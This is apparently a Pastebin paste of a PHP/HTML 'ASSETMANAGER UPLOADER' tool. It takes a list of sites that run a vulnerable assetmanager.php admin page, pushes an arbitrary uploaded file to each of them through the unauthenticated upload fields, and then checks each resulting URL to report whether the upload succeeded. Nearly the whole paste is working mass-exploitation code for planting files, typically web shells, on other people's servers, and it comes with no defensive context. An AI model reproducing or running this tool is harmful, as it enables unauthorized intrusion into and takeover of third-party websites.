Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <center>
- <font style="font-size:40;">ASSETMANAGER UPLOADER</font><br /><br />
- <form action="" method="post" enctype="multipart/form-data">
- Url:<textarea name="url" cols="40" rows="40">http://www.vulnsite.com/admin/assetmanager/assetmanager.php</textarea><br />
- <input type="file" name="phc"><br />
- <input type="submit">
- </form>
- <?php
- $urlr = $_POST['url'];
- if($urlr != null)
- {
- $urls = preg_split('/(\r?\n)+/', $urlr);
- foreach($urls as $url)
- {
- $tmpfile = $_FILES['phc']['tmp_name'];
- $filename = basename($_FILES['phc']['name']);
- $data = array("File1" => '@'.$tmpfile.';filename='.$filename,
- "inpCurrFolder2" => ".");
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $re = curl_exec($ch);
- curl_close($ch);
- //check file kalo wujud
- $urr = dirname($url)."/".$filename;
- $cr = curl_init();
- curl_setopt($cr, CURLOPT_URL, $urr);
- curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
- $respons = curl_exec($cr);
- $errno = curl_errno($cr);
- $error = curl_error($cr);
- $response = $response;
- $info = curl_getinfo($cr);
- $chek = $info['http_code'];
- curl_close($cr);
- if($chek > 400)
- {
- echo "<a class='left' href='".$urr."'>".$urr."</a> <font class='rig' color='red'> upload failed</font><br />";
- }
- else
- {
- echo "<a class='left' href='".$urr."'>".$urr."</a> <font class='rig' color='green'> upload success</font><br />";
- }
- }
- }
- ?>
- </center>
- <style>
- .left
- {
- float:left;
- }
- .rig
- {
- float:right;
- }
- </style>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement